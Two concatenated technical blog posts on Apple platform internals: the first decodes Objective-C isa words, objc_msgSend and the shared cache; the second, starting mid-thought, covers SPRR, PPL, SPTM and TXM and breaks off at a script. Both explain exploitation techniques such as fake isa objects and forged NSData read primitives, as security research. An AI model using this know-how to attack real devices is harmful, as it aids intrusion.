Neither is obfuscation. The first is a decision about where to keep a retain count, the second is a decision about launch time, and both are documented in source Apple publishes. They change what an attacker has to control.

An object is an isa

An Objective-C object is a C struct whose first word is called isa, short for “is a”, because it says which class the object is an instance of. That is the entire base layout, struct objc_object { isa_t isa; }, and every instance variable you declare sits after it.

A class is an object too, and its declaration says so: struct objc_class : objc_object { Class superclass; cache_t cache; class_data_bits_t bits; }. It inherits the isa word, then adds three more. Since a class is an object, its isa has to point at something, and that something is the class’s metaclass.

That second level exists because of where methods live. Instance methods belong to the class; class methods belong to the metaclass. When you write [Sig new], the receiver is the class object Sig, and the runtime looks new up the way it looks up any message, in the receiver’s own class, which is the metaclass. Without it there would be nowhere to put a class method.

That could recurse forever, and it does not. A metaclass’s isa points to the root metaclass, which is NSObject’s metaclass, and the root metaclass’s isa points to itself.

   Sig instance         Sig                Sig (meta)         NSObject (meta)
  ┌────────────┐    ┌────────────┐     ┌────────────┐      ┌────────────┐
  │ isa        │───▶│ isa        │────▶│ isa        │─────▶│ isa        │──┐
  ├────────────┤    ├────────────┤     ├────────────┤      ├────────────┤  │
  │ ivars      │    │ superclass │     │ superclass │      │ superclass │  │
  └────────────┘    │ cache      │     │ cache      │      │ cache      │  │
                    │ bits       │     │ bits       │      │ bits       │  │
                    └────────────┘     └────────────┘      └────────────┘  │
                       -instance          +class                 ▲         │
                        methods            methods               └─────────┘

The last field, bits, is the pointer to everything else in the class: its method lists, ivar layout, properties and protocols. It comes in two shapes. class_ro_t is the clean version emitted by the compiler, read-only, and for a system class it lives inside the shared cache. class_rw_t is allocated when the class is first realized, and it holds what the runtime adds afterwards: categories, class_addMethod, swizzling. One of those two is writable in your process and the other is not, which decides where corruption can usefully land.

The isa is not a pointer

On arm64, isa is a bitfield, and the class pointer is only part of it. This is the layout from objc4, runtime/isa.h, for a build with pointer authentication (PAC):

Two masks come with it. ISA_MASK is 0x007ffffffffffff8 and keeps the whole 52-bit field, signature included. ISA_MASK_NOSIG keeps the address alone: 0x00007ffffffffff8 on macOS, 0x0000000ffffffff8 on iOS, where the address space handed to a process is smaller.

The point of packing all this into one word is the retain count. retain and release are the two most frequent operations in an Objective-C process, and the fast path for both is now an atomic add on bits 56 and up of a word the object already had. No lock is taken and nothing else is allocated. The eight bits run out eventually, and that is what bit 55 records: past that, the surplus goes to the global side table and the two have to be added back together.

The layout most write-ups quote is a different one: 33 bits of shiftcls at bit 3, a six-bit magic field holding 0x1a, extra_rc on 19 bits, ISA_MASK at 0x0000000ffffffff8. That is the same header, in the branch taken when the build has no pointer authentication. The magic field is gone from the ptrauth layout, and so is has_cxx_dtor. Read isa.h for the target in front of you rather than a table from 2019.

And extra_rc is no longer the retain count minus one. objc-object.h reads it straight: uintptr_t rc = bits.extra_rc;, then adds the side table if bit 55 is set. A freshly allocated object shows 1, not 0, and the hands-on below shows it.

One shape that is not an object at all: a tagged pointer. Small immutable values such as short NSStrings, NSNumbers and NSDates are encoded directly in the pointer, with no allocation behind them. On arm64 the marker is the high bit, so a “pointer” with bit 63 set has no memory to dereference and no isa to decode. Since iOS 12 the whole value is also XORed with objc_debug_taggedpointer_obfuscator, a random word drawn at launch, so that a write primitive cannot forge a chosen tagged value blind. A read primitive recovers the obfuscator from an exported symbol and the protection ends there.

objc_msgSend, or how a selector becomes a call

Almost every message send goes through objc_msgSend, with a fixed register contract: x0 is the receiver, x1 is the selector, the remaining arguments follow in x2 to x7. A send to super takes objc_msgSendSuper2 instead, and a method declared objc_direct is called outright with no dispatch at all, but those are the exceptions. The common path has to find the function for a given selector, on a given receiver’s class. Here is the beginning of it, disassembled out of the shared cache on my own machine:

libobjc.A.dylib`objc_msgSend:
    0x18acc1800 <+0>:  cmp    x0, #0x0
    0x18acc1804 <+4>:  b.le   0x18acc1880    ; <+128>
    0x18acc1808 <+8>:  ldr    x14, [x0]
    0x18acc180c <+12>: and    x16, x14, #0x7ffffffffffff8
    0x18acc1810 <+16>: mov    x10, x0
    0x18acc1814 <+20>: movk   x10, #0x6ae1, lsl #48
    0x18acc1818 <+24>: autda  x16, x10
    0x18acc181c <+28>: mov    x15, x16
    0x18acc1820 <+32>: ldr    x10, [x16, #0x10]
    0x18acc1824 <+36>: lsr    x11, x10, #48
    0x18acc1828 <+40>: and    x10, x10, #0xffffffffffff
    0x18acc182c <+44>: eor    x12, x1, x1, lsr #7
    0x18acc1830 <+48>: and    w12, w12, w11
    0x18acc1834 <+52>: add    x13, x10, x12, lsl #4

The whole structure of the previous two sections is in those fourteen instructions.

cmp x0, #0 with b.le is the nil-receiver check, and it also catches tagged pointers on the same branch, since bit 63 set makes the receiver negative when read as a signed value. ldr x14, [x0] loads the isa word. and x16, x14, #0x7ffffffffffff8 is ISA_MASK, applied to the raw word exactly as the table above says.

Then three instructions: mov x10, x0, movk x10, #0x6ae1, lsl #48, autda x16, x10. The runtime builds a modifier out of the object’s own address and the constant 0x6AE1, which objc-config.h names ISA_SIGNING_DISCRIMINATOR, and authenticates the class pointer with it. The alternative, in the same macro in arm64-asm.h, is a single xpacd that discards the signature without checking it. Which one you get is the compile-time flag ISA_SIGNING_AUTH_MODE, and this build authenticates.

ldr x10, [x16, #0x10] reads the word at offset 0x10 of the class, which is cache, the third field of objc_class after isa and superclass. That single word holds two things: lsr x11, x10, #48 takes the mask out of the top 16 bits, and x10, x10, #0xffffffffffff takes the bucket array pointer out of the low 48.

eor x12, x1, x1, lsr #7 hashes the selector against itself shifted right by seven, and w12, w12, w11 folds it into the table with the mask, and add x13, x10, x12, lsl #4 turns the index into an address, sixteen bytes per bucket. A bucket is a { IMP, SEL } pair, the function pointer and the selector, in that order on arm64. What follows loads both, compares the stored selector with x1, and on a hit authenticates the IMP and branches to it.

On a miss the slow path runs: lookUpImpOrForward walks the class’s method lists, then its superclass’s, resolves the method, fills the cache, and only then calls. Every subsequent send of that selector to that class takes the fourteen instructions above.

Hands-on: decoding an isa by hand

The whole model is checkable in one program. It allocates one object, reads the word, decodes the fields by hand, and then walks the chain by masking each isa in turn.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#include <stdio.h>

#define ISA_MASK       0x007ffffffffffff8UL
#define ISA_MASK_NOSIG 0x00007ffffffffff8UL

@interface Sig : NSObject
@end
@implementation Sig
@end

static Class isa_of(void *p) { return (Class)(*(uintptr_t *)p & ISA_MASK_NOSIG); }

int main(void) {
    Sig *o = [Sig new];
    uintptr_t isa = *(uintptr_t *)o;

    printf("object             %p\n", o);
    printf("isa                0x%016lx\n", isa);
    printf("  nonpointer       %lu\n", isa & 1);
    printf("  has_assoc        %lu\n", (isa >> 1) & 1);
    printf("  weakly_referenced %lu\n", (isa >> 2) & 1);
    printf("  has_sidetable_rc %lu\n", (isa >> 55) & 1);
    printf("  extra_rc         %lu\n", (isa >> 56) & 0xff);
    printf("  & ISA_MASK       0x%016lx\n", isa & ISA_MASK);
    printf("  & ISA_MASK_NOSIG 0x%016lx\n", isa & ISA_MASK_NOSIG);

    Class c = isa_of(o), m = isa_of(c), r = isa_of(m), rr = isa_of(r);
    printf("class              %p  %-10s meta=%d\n", c, class_getName(c), class_isMetaClass(c));
    printf("metaclass          %p  %-10s meta=%d\n", m, class_getName(m), class_isMetaClass(m));
    printf("root metaclass     %p  %-10s meta=%d\n", r, class_getName(r), class_isMetaClass(r));
    printf("its own isa        %p\n", rr);

    [o retain];
    printf("after retain       0x%016lx\n", *(uintptr_t *)o);
    return 0;
}

Build it twice, once for each ABI:

clang -fno-objc-arc -framework Foundation -o /tmp/isachain isachain.m
clang -arch arm64e -fno-objc-arc -framework Foundation -o /tmp/isachain_e isachain.m

The plain arm64 build first:

object             0x10145c2e0
isa                0x0100000100d240b9
  nonpointer       1
  has_assoc        0
  weakly_referenced 0
  has_sidetable_rc 0
  extra_rc         1
  & ISA_MASK       0x0000000100d240b8
  & ISA_MASK_NOSIG 0x0000000100d240b8
class              0x100d240b8  Sig        meta=0
metaclass          0x100d24090  Sig        meta=1
root metaclass     0x1f6f1d5f0  NSObject   meta=1
its own isa        0x1f6f1d5f0
after retain       0x0200000100d240b9

Read the word 0x0100000100d240b9 against the table. The low nibble 9 is 1001: nonpointer set, has_assoc clear, weakly_referenced clear. The high byte 0x01 is extra_rc, and it is 1 for an object that has just been allocated and never retained. Everything in between is the class pointer, 0x100d240b8.

The chain is the diagram, at run time. Sig is at 0x100d240b8, its metaclass is 40 bytes below it and carries the same name with meta=1, and one more step lands on NSObject’s metaclass, whose own isa is its own address. That is where the recursion ends.

The last line is the retain, and it moves the field the table says it should: the top byte goes from 0x01 to 0x02 while every other bit stays put. One word changed, and nothing was locked or allocated to do it. That is the whole reason the isa stopped being a pointer.

Now the arm64e build of the same source:

object             0x104d92d00
isa                0x014f8001046d40b9
  nonpointer       1
  has_assoc        0
  weakly_referenced 0
  has_sidetable_rc 0
  extra_rc         1
  & ISA_MASK       0x004f8001046d40b8
  & ISA_MASK_NOSIG 0x00000001046d40b8
class              0x1046d40b8  Sig        meta=0
metaclass          0x1046d4090  Sig        meta=1
root metaclass     0x1f6f1d5f0  NSObject   meta=1
its own isa        0x1f6f1d5f0
after retain       0x024f8001046d40b9

The two masks now disagree, and the difference is 0x004f800000000000: the signature bits, sitting in the part of the 52-bit field the address does not use, and what autda checks. Run the same binary again and they come out different, because the object lands somewhere else and its address is part of what was signed. The class pointer is signed in one process and bare in the other, from the same source on the same machine, and the difference comes from the kernel. XNU turns user-space pointer authentication off for a task whose main binary is not arm64e, which the pointer authentication post measured on this same laptop, so in the plain build nothing signs the isa and the autda in the fast path runs without effect.

One line is identical in both runs. NSObject’s metaclass is at 0x1f6f1d5f0 in two different processes, launched separately, while each program’s own class moved.

The libraries are not on disk

The program above links against Foundation, and the linker recorded where it lives. That file is not there.

$ otool -L /tmp/isachain | head -3
/tmp/isachain:
    /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 4424.1.255)
    /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1356.0.0)

$ ls -l /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
ls: /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation: No such file or directory

The path is not stale, and the program runs. It is a name the loader resolves against something else: nearly every system library on the machine was merged, at build time, into a single image, the dyld shared cache. Cross-library symbols are pre-bound, the Objective-C selector, class and protocol tables are precomputed, and the result is mapped into every process at launch instead of being opened, parsed and fixed up one dylib at a time. That is why a process linking a dozen frameworks starts in milliseconds, and why Foundation and UIKit cannot be found as files. Reading their code means extracting them from the cache first.

It is not one file either. On macOS 26.4.1:

$ ls -lh /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/ | grep arm64e
-rwxr-xr-x  1 root  admin   560K  6 avr.  10:10 dyld_shared_cache_arm64e
-rwxr-xr-x  1 root  admin   1,6G  6 avr.  10:10 dyld_shared_cache_arm64e.01
-rwxr-xr-x  1 root  admin   223M  6 avr.  10:10 dyld_shared_cache_arm64e.02.dylddata
-rwxr-xr-x  1 root  admin   121M  6 avr.  10:10 dyld_shared_cache_arm64e.03.dyldreadonly
-rwxr-xr-x  1 root  admin   574M  6 avr.  10:10 dyld_shared_cache_arm64e.04.dyldlinkedit
-rwxr-xr-x  1 root  admin   1,7G  6 avr.  10:10 dyld_shared_cache_arm64e.05
-rwxr-xr-x  1 root  admin   226M  6 avr.  10:10 dyld_shared_cache_arm64e.06.dylddata
-rwxr-xr-x  1 root  admin   7,0M  6 avr.  10:10 dyld_shared_cache_arm64e.07.dyldreadonly
-rwxr-xr-x  1 root  admin   588M  6 avr.  10:10 dyld_shared_cache_arm64e.08.dyldlinkedit
-rwxr-xr-x  1 root  admin   158M  6 avr.  10:10 dyld_shared_cache_arm64e.09
-rwxr-xr-x  1 root  admin    21M  6 avr.  10:10 dyld_shared_cache_arm64e.10.dylddata
-rwxr-xr-x  1 root  admin    32K  6 avr.  10:10 dyld_shared_cache_arm64e.11
-rwxr-xr-x  1 root  admin   238M  6 avr.  10:10 dyld_shared_cache_arm64e.12.dyldlinkedit
-rwxr-xr-x  1 root  admin   2,3M  6 avr.  10:10 dyld_shared_cache_arm64e.atlas
-rwxr-xr-x  1 root  admin   1,3M  6 avr.  10:10 dyld_shared_cache_arm64e.map

About five and a half gigabytes across fifteen files, and the one without a number is 560 KB, because it is the header: the mapping table, the image list, and the array describing every subcache with its UUID and its offset. The files with no suffix after the number hold executable text, .dylddata the writable data, .dyldreadonly the read-only data, .dyldlinkedit the symbol and fixup tables. A parser that opens the first file and stops sees almost none of the cache.

The location matters too. This is not /System/Library/dyld/ any more; it is a cryptex, a signed disk image mounted over the system volume at boot, which is how Apple ships a new cache without touching the sealed system snapshot.

For reversing, ipsw dyld extract undoes the merge, and it works on a cache pulled out of an IPSW as well as one off a running machine. Apple’s own dyld_shared_cache_util is the other name you will see in older write-ups, and it is not installed on a stock macOS 26.4.1, so it is a build-from-source step rather than a command you have. Ghidra and radare2 both have cache-aware loaders, which is usually the better option, because a call from Foundation into CoreFoundation stays resolvable instead of pointing outside the file. Be aware of what you are asking them for: loading the whole cache means one program holding every dylib in it, and Ghidra 12.1.2 on a stock install runs out of Java heap parsing their symbol tables before the listing ever opens. Pulling out the one library you want is the cheaper path.

The property that matters for exploitation is the slide. The cache gets one address-randomization (ASLR) slide, chosen once at boot, and every process maps it at the same place. The two runs above already showed it: same address for NSObject’s metaclass in two unrelated processes. Leak a single cache address, from any process on the device, and library ASLR is gone system-wide until the next reboot. Compare that with the main binary’s own classes, which moved between the two runs, and with the heap, which moves per process.

What an attacker does with an isa

objc_msgSend is an indirect call whose target is read out of the object it is given. Control the memory an object lives in and you control the isa, so you choose the class, so you choose the function that runs. That is the classic fake Objective-C object, and it converts a memory-corruption primitive into a control-flow primitive without a ROP (return-oriented programming) chain. The read primitive comes from the same trick with a different shape: a forged NSData, whose layout is { isa, length, bytes, deallocator } with the deallocator left NULL, hexdumps whatever memory its bytes field points at when it is sent -description.

The forgery got more expensive, and the price is different for each pointer involved.

The isa itself is signed on arm64e, and this build authenticates it: autda with the DA key (data pointers, key A), the constant 0x6AE1, and the object’s own address as the diversifier. That address diversity is the expensive part: a signature lifted from a real object is valid only at that object’s address, so copying a legitimate isa word into a structure of your own fails authentication.

That is a change, and Zhou and Xie date it: the isa carried a PAC signature on iOS 14, and the check on use arrived in 14.5. Their Black Hat 2021 paper builds its whole read primitive on that gap: “all of the isa are known because of no PAC check”, then a forged NSData on top. The same macro in arm64-asm.h still compiles to a bare xpacd when ISA_SIGNING_AUTH_MODE says strip, so both behaviours ship from one source tree, and it is a per-build fact. Disassemble objc_msgSend in the cache of the target you are looking at before you assume either.

The method cache is signed too, and more tightly. The IMP stored in a bucket is signed with the IB key (instruction pointers, key B) and a modifier of bucket_base ^ sel ^ cls, per modifierForSEL in objc-runtime-new.h. Cache poisoning, which used to be a clean write-to-PC on arm64, now needs a signature valid for that exact bucket address, that selector and that class.

class_ro_t sits in read-only memory inside the shared cache, so the writable targets are class_rw_t and the cache, which is where method-list forgery and swizzling-style tricks land.

The feeder for all of it, from a remote position, is deserialization. NSKeyedUnarchiver and NSSecureCoding turn attacker-supplied bytes into an object graph, choosing classes by name and filling ivars, which is why they keep appearing in iMessage and XPC chains.

And on A19 hardware the first step is the one that got harder. Nothing above changes: the dispatch still reads a word out of the object and branches. Getting a chosen word into that slot is the problem, because the overflow or the use-after-free that puts a forged object next to a live one now trips a tag check and faults, as the previous post went through.

The kernel has the same shape. A libkern C++ object carries a vtable pointer at offset 0, and OSMetaClass gives it the run-time type identity that C++ without RTTI does not, with OSDynamicCast walking the chain of parent metaclasses. Reversing an IOKit user client means walking exactly that: the metaclass, its vtable, its alloc, the class it produces. The IOKit post uses it without taking it apart.

Where this leaves us

An object begins with a word whose top byte is a retain count and whose middle is a signed class pointer. A system library is a region of one merged image that every process maps at the same address until the device reboots. Each is one design decision, and both are measurable in a few minutes on a machine you already own. The first decides how much a corruption primitive is worth, because the pointer it lets you overwrite is the one that picks the next function to run. The second decides how much a single leaked address is worth, because there is only one slide to defeat and it is shared.

I measured one machine and one build. The isa authentication mode, the mask widths and the cache layout are compile-time and platform-time choices, so the disassembly in front of you outranks anything written here, including the table. This post also closes the season: ten posts, from the SecureROM checking the signature of the next stage to objc_msgSend picking a function out of an object it was handed.

Notes and sources

Everything here is drawn from open source, vendor documentation, published research, and a Mac running a stock, unmodified macOS.

• Apple, objc4 source: runtime/isa.h for the two arm64 bitfield layouts and the ISA_MASK / ISA_MASK_NOSIG constants, runtime/objc-config.h for ISA_SIGNING_DISCRIMINATOR (0x6AE1) and the ISA_SIGNING_STRIP / ISA_SIGNING_AUTH modes, runtime/arm64-asm.h for the ExtractISA macro that compiles to one or the other, runtime/objc-object.h for rootRetainCount reading extra_rc directly, and runtime/objc-runtime-new.h for modifierForSEL and the bucket signing.
• Greg Parker, [objc explain]: Non-pointer isa, Hamster Emporium, for why the retain count was moved into the pointer word in the first place.
• Mike Ash, Dissecting objc_msgSend on ARM64, 30 June 2017, for the same fast path one runtime generation earlier: no PAC on the isa, a _mask field of its own rather than the top bits of the cache word, and a bucket laid out { SEL, IMP }.
• Mike Ash, Tagged Pointer Strings, for how a short string is packed into the pointer itself.
• nemo, Modern Objective-C Exploitation Techniques, Phrack 69:9 (2016), the reference catalogue of fake isa, method-cache poisoning, tagged-pointer abuse and Blocks.
• Zhi Zhou and Jundong Xie, Hack Different: Pwning iOS 14 with Generation Z Bugz, Black Hat USA 2021 whitepaper: section 4.3 for the sentence quoted above, which the paper itself bounds with “iOS 14 has already introduced PAC to isa pointer, but there was no check when using it before 14.5”, and section 4.3.1 for the forged NSData read primitive.
• Apple, dyld source: doc/CacheLayout.md for the split into subcaches, the mapping-per-permission layout and the separate symbols file, and doc/dyld4.md for the loader model that replaced dyld3 launch closures.
• blacktop, ipsw dyld extract documentation, for pulling a single dylib back out of a merged cache; ipsw extract --dyld on the same site is what gets the cache out of an IPSW in the first place.

Two of those three steps are no longer performed by the kernel. Page-table writes and code-signature decisions were moved out of EL1 into separate signed binaries that run at a privilege XNU cannot enter except through one instruction, with a selector in a register. The kernel became a client of the thing that used to be part of it.

That switch is recent enough that both designs are still shipping, on different silicon, from the same source tree. It is also old enough that the laptop I am writing this on runs the new one, which is where the hands-on comes from.

Changing permissions without touching the page tables

Making a page read-only is not one write. It is a page-table entry update, a TLB (translation lookaside buffer) invalidation, barriers, and on a multi-core system a coordination with every other core that might hold the stale translation. For anything that flips permissions often, a JIT compiler above all, that cost is the whole problem.

Apple’s answer arrived with the A11 and S3, and Apple names it in its own platform documentation: Fast Permission Restrictions, a CPU register that restricts permissions per thread without a page-table walk or a flush. The registers behind it are the ones the research community had already reverse-engineered under the name APRR.

The M1 generation shipped a cleaner version of the same idea, SPRR, for Shadow Permission Remap Register, and Sven Peter documented how it works. Four bits of a page-table entry, AP[1], AP[0], UXN and PXN, stop encoding permissions directly. They are concatenated into a four-bit index, and the actual permissions live in a system register, sixteen entries of four bits each, one register per privilege level. The page-table entry names the row to read.

Two consequences fall out. Changing what an entire class of pages means costs one register write instead of a walk over every entry. And the same page-table entry means different things to different privilege levels, which is what makes PPL and SPTM possible. Sven Peter’s table from the M1 carries both halves. The first two permission columns are what those four bits would mean to a stock ARMv8 MMU; the last three are what SPRR actually grants. His kernel column reads EL2 rather than EL1 because the M1 runs XNU with Virtualization Host Extensions, which lets a kernel sit at EL2 and still behave as though it were at EL1.

Read row 5 across. Those four bits, on a stock MMU, hand the kernel rwx on a MAP_JIT page: writable and executable at the same time. Under SPRR the same entry gives userland rw- or r-x depending on which way the per-thread toggle is flipped, gives the kernel read and nothing else, and gives GL2 no access at all. The bits sitting in the page table are identical in both halves of that row. Only the register changed.

Row 1 is the other one worth reading across. A page table is readable to the kernel and writable only from GL2, a privilege level introduced in the GXF section below. Two of the sixteen register values are special cases, where the GL bits change what the EL bits mean. 0111 would be EL2 rw- with GL2 r-x if the two halves were read independently; it decodes to EL2 --- instead, so no page is ever writable from the kernel and executable from GL2, and the kernel cannot modify the code that runs at GL2. 1001 is the smaller one: EL2 r-x becomes --x when the page is only readable from GL2.

PPL: page tables the kernel cannot write

The Page Protection Layer, PPL, is what Apple built on top of that primitive. Page tables and the structures backing code signing are mapped read-only to the kernel. A small body of code is allowed to write them, and it lives in its own segments, __PPLTEXT and __PPLDATA, reached through a trampoline that flips the permission register on entry and flips it back on exit. Everything else in the kernel, including a compromised everything else, sees read-only memory. That is the APRR-era mechanism. On the A14 and the base M1 the flip moved into hardware: the trampoline enters GL2 with GENTER, the instruction the next section takes apart, which is why the M1 kernel in the hands-on below carries six GENTER sites.

The attack surface that remains is the list of routines the trampoline will dispatch to, and XNU’s open source publishes it: ppl_handler_table in osfmk/arm/pmap/pmap.c for the mapping side, with the entry and exit helpers next door in pmap_ppl_interface.c, and the pmap_cs_* family for code signing. bsd/kern/code_signing/ppl.c is the shim above them.

PPL removed two specific steps from an exploit. A kernel read and write no longer lets you mark a page of your own executable, because the page-table entry that would say so is not writable from EL1. It no longer lets you register a code signature the kernel will trust, because the structure holding it is not writable either. Both of those became “find a PPL routine that can be made to do it for you”.

PPL shipped on the A11 and S3, and Apple’s compatibility table runs it through the A14 and the M1.

GXF, SPTM and TXM

The replacement takes that hardware further. GXF, the Guarded Execution Feature, adds a set of levels lateral to the architectural exception levels, called guarded levels: GL0, GL1, GL2. They are entered with an Apple-proprietary instruction, GENTER, opcode 0x00201420, and left with GEXIT, opcode 0x00201400. They have their own copies of the registers a privilege level needs, including the vector base and the exception link register, and their permissions come from the SPRR columns above.

SPTM, the Secure Page Table Monitor, runs in GL2. It is a separate binary, signed and loaded alongside the kernel, and it is the only software on the system that writes a page-table entry. XNU still computes the mapping it needs and still builds the entry; it then hands it over:

sptm_return_t sptm_map_page(pmap_paddr_t ttep, vm_address_t va, pt_entry_t new_pte)

ttep is the physical address of the root translation table of the address space being modified, va the virtual address, new_pte the entry XNU computed. In XNU’s own tree the call sits at the bottom of the ordinary mapping path, pmap_enter_options into pmap_enter_pte into sptm_map_page, in osfmk/arm64/sptm/pmap/pmap.c. That directory is the second pmap implementation in the tree; the PPL one is still there, at osfmk/arm/pmap/.

SPTM decides whether to honour the request using a type it keeps for every managed physical frame, named after what the frame is for: XNU_DEFAULT for ordinary kernel memory, XNU_PAGE_TABLE, XNU_USER_EXEC, XNU_USER_JIT, XNU_ROZONE for the read-only zones of the zone allocator post, SPTM_XNU_CODE for the kernel’s own text. Changing a frame’s type is a second call, sptm_retype(), taking the current type, the new type, and parameters specific to the transition.

Types belong to domains, and this is the part that does the real work. Steffin and Classen read them out of Apple’s own sptm_common.h, which ships in the macOS SDK: SPTM_DOMAIN, XNU_DOMAIN, TXM_DOMAIN, SK_DOMAIN, and XNU_HIB_DOMAIN for hibernation. Retyping is scoped to stay inside one domain apart from a small set of allowed transitions, and mapping rules are written per type, so a frame belonging to another domain is not something XNU can map, whatever it does to its own page tables.

TXM, the Trusted Execution Monitor, runs in GL0, and owns code signing, entitlements, trust caches and provisioning profiles. XNU calls it through SPTM, and the call looks like a system call rather than a function call:

txm_enter(parameters->selector, &txm_registers);

That is from bsd/kern/code_signing/txm.c, in txm_kernel_call_internal. The kernel takes one of a fixed set of per-CPU thread stacks, puts its physical address in x0, marshals the arguments into registers, and enters. Forty distinct selector names appear in that file, from kTXMKernelSelectorRegisterCodeSignature through kTXMKernelSelectorEnterLockdownMode. The return value comes back through a shared context page, and XNU panics if the monitor claims to return more words than the stack can hold.

GL1 holds the Secure Kernel, an seL4-style microkernel that serves Exclaves: scoped groupings of resources the kernel can invoke but not map, with their own IPC mechanism, Tightbeam. They deserve a post of their own, and the paper in the sources covers them at length.

What EL1 no longer owns

The cleanest evidence for how much moved is XNU’s own directory listing. bsd/kern/code_signing/ contains three files:

Two of the three implement the same API. ppl.c and txm.c both provide register_code_signature, verify_code_signature, associate_jit_region, toggle_developer_mode and enter_lockdown_mode: the same operations, with the enforcement in a different place on each generation of hardware. Four of those five are declared inside #if CODE_SIGNING_MONITOR in bsd/sys/code_signing_internal.h, so xnu.c only implements toggle_developer_mode, next to the local signing key and a comment saying that without a monitor a kernel memory exploit will be able to corrupt code signing state.

So what does an arbitrary kernel write still reach? Everything typed XNU_DEFAULT, which is most of the kernel heap and therefore most of what the previous two posts were about. What it does not reach: page tables, the read-only zones holding credentials and MACF (Mandatory Access Control Framework) labels, TXM’s slabs holding trust caches and code signatures, SPTM’s frame table, and anything in the Secure Kernel’s domain. Retyping one of your own pages into something executable is a request, checked against a rule set that lives in a binary you cannot modify.

The practical consequence for a jailbreak is that the two classic endgames are closed by construction rather than by a check you can skip. You cannot add a cdhash, the hash of a binary’s code directory, to the trust cache, because the trust cache is in a TXM frame. You cannot map your own code executable, because the mapping is a call into GL2 and GL2 validates the frame type first.

Hands-on: finding the monitors on your own Mac

None of this needs a device, a debugger, or a download. On an Apple silicon Mac the monitors ship as their own Image4 payloads in the Preboot volume, next to the kernelcache, and sudo is enough to read them. The machine is a Mac14,9, an M2 Pro, running macOS 26.4.1 (build 25E253) with System Integrity Protection on.

sudo ls -1 /System/Volumes/Preboot/*/restore-staged/Firmware/ | grep -E 'sptm|txm'

sptm.t6000.release.im4p
sptm.t6020.release.im4p
sptm.t6030.release.im4p
sptm.t6031.release.im4p
sptm.t6041.release.im4p
sptm.t6050.release.im4p
sptm.t8112.release.im4p
sptm.t8122.release.im4p
sptm.t8132.release.im4p
sptm.t8140.release.im4p
sptm.t8142.release.im4p
txm.macosx.release.im4p

One SPTM per SoC, and t6020 is this machine’s. One TXM for macOS, because TXM is built once for the platform while SPTM is tied to the silicon it programs. Note t6000, which is the M1 Pro, in a set of monitors that Apple’s compatibility table gives to the A15 and later and the M2 and later. Hold on to that; the last block of this hands-on settles what it means.

Copy the two that apply to this machine somewhere writable, read the header of one, and unpack both. pyimg4 is the same tool the chain of trust post used on a kernelcache:

mkdir -p /tmp/mon && cd /tmp/mon
P=/System/Volumes/Preboot/*/restore-staged/Firmware
sudo cp $P/sptm.t6020.release.im4p $P/txm.macosx.release.im4p .
sudo chown "$(whoami)" sptm.t6020.release.im4p txm.macosx.release.im4p
pyimg4 im4p info -i sptm.t6020.release.im4p
pyimg4 im4p extract -i sptm.t6020.release.im4p -o sptm.raw
pyimg4 im4p extract -i txm.macosx.release.im4p -o txm.raw
file sptm.raw txm.raw

Reading sptm.t6020.release.im4p...
Image4 payload info:
  FourCC: sptm
  Description: 1
  Data size: 182.65KB
  Data compression type: LZFSE
  Data size (uncompressed): 1261.6KB
  Encrypted: False

  Properties (13): kcep, kclf, kclo, kclz, kcmf, kcmz, kcrf, kcrz, kcuu, kcwf, kcwz, kcxf, kcxz
Reading sptm.t6020.release.im4p...
[NOTE] Image4 payload data is LZFSE compressed, decompressing...
Extracted Image4 payload data to: sptm.raw
Reading txm.macosx.release.im4p...
[NOTE] Image4 payload data is LZFSE compressed, decompressing...
Extracted Image4 payload data to: txm.raw
sptm.raw: Mach-O 64-bit executable arm64e
txm.raw:  Mach-O 64-bit executable arm64e

An Image4 payload with its own four-character code, sptm, unencrypted and LZFSE-compressed. TXM’s header reads the same way with the code trxm, 168 KB compressed to 475 KB. SPTM runs before XNU does: the bootstrap arguments the kernel reads at startup come from SPTM, declared in osfmk/arm64/sptm/sptm.h as SPTMArgs.

Both are also ordinary arm64e Mach-O executables, and small: 1261 KB for SPTM, 475 KB for TXM. The kernelcache they arbitrate for unpacks to 118 MB, as the next block shows, ninety times the size of SPTM. Moving code out of XNU buys nothing if the destination is as large as XNU.

The kernelcache that actually booted sits a few directories away, under boot/<hash>/System/Library/Caches/com.apple.kernelcaches/, and unlike the monitors it is a full Image4 file rather than a bare payload, so it carries a manifest:

K=$(sudo ls -1t /System/Volumes/Preboot/*/boot/*/System/Library/Caches/com.apple.kernelcaches/kernelcache | head -1)
sudo cp "$K" kernelcache.boot && sudo chown "$(whoami)" kernelcache.boot
pyimg4 img4 info -i kernelcache.boot

Reading kernelcache.boot...
Image4 info:
  Image4 payload info:
    FourCC: krnl
    Description: KernelManagement_host-487.100.11
    Data size: 31820.48KB
    Data compression type: LZFSE
    Data size (uncompressed): 118833.15KB
    Encrypted: False

  Image4 manifest info:
    Device Processor: T6020
    ECID (hex): 0x<this machine's ECID>
    ApNonce (hex): <nonce>
    SepNonce (hex): <nonce>
    Manifest images (33): anef, aopf, avef, bstc, csys, dcp2, dtre, gfxf, ibdt,
      ibec, ibot, ipdf, ispf, isys, krnl, msys, mtfw, mtpf, pmpf, rdc2, rdsk,
      rdtr, rkrn, rlgo, rosi, rspt, rtrx, rtsc, siof, sptm, strc, trst, trxm

Read the last line. sptm and trxm are in the manifest, next to krnl, ibot and ibec, tied to this machine’s ECID and this boot’s nonce. The monitors are separate images in the personalised boot set, measured and approved by the same chain of trust this series opened with, now carrying two more objects.

That brings back the question the first block left open. macOS ships one kernel per SoC as a plain Mach-O in /System/Library/Kernels/, so both designs sit on the same disk. Segments first:

cd /System/Library/Kernels
for k in t8103 t6000 t6020 t8142; do
  printf '%-8s ' $k
  otool -l kernel.release.$k | awk '/segname/{print $2}' | sort -u | grep -E 'PPL|SPTM|BOOT_EXEC' | tr '\n' ' '
  echo
done

t8103    __PPLDATA __PPLDATA_CONST __PPLTEXT
t6000    __DATA_SPTM __TEXT_BOOT_EXEC
t6020    __DATA_SPTM __TEXT_BOOT_EXEC
t8142    __DATA_SPTM __TEXT_BOOT_EXEC

t8103 is the M1, t6000 the M1 Pro, t6020 the M2 Pro, t8142 the M5. The M1 kernel carries PPL’s own segments and no SPTM data segment. Every other kernel on this disk is the other build.

Counting GENTER says the same thing from the instruction side. The opcode is 0x00201420, so it is four bytes at a four-byte alignment:

python3 - <<'EOF'
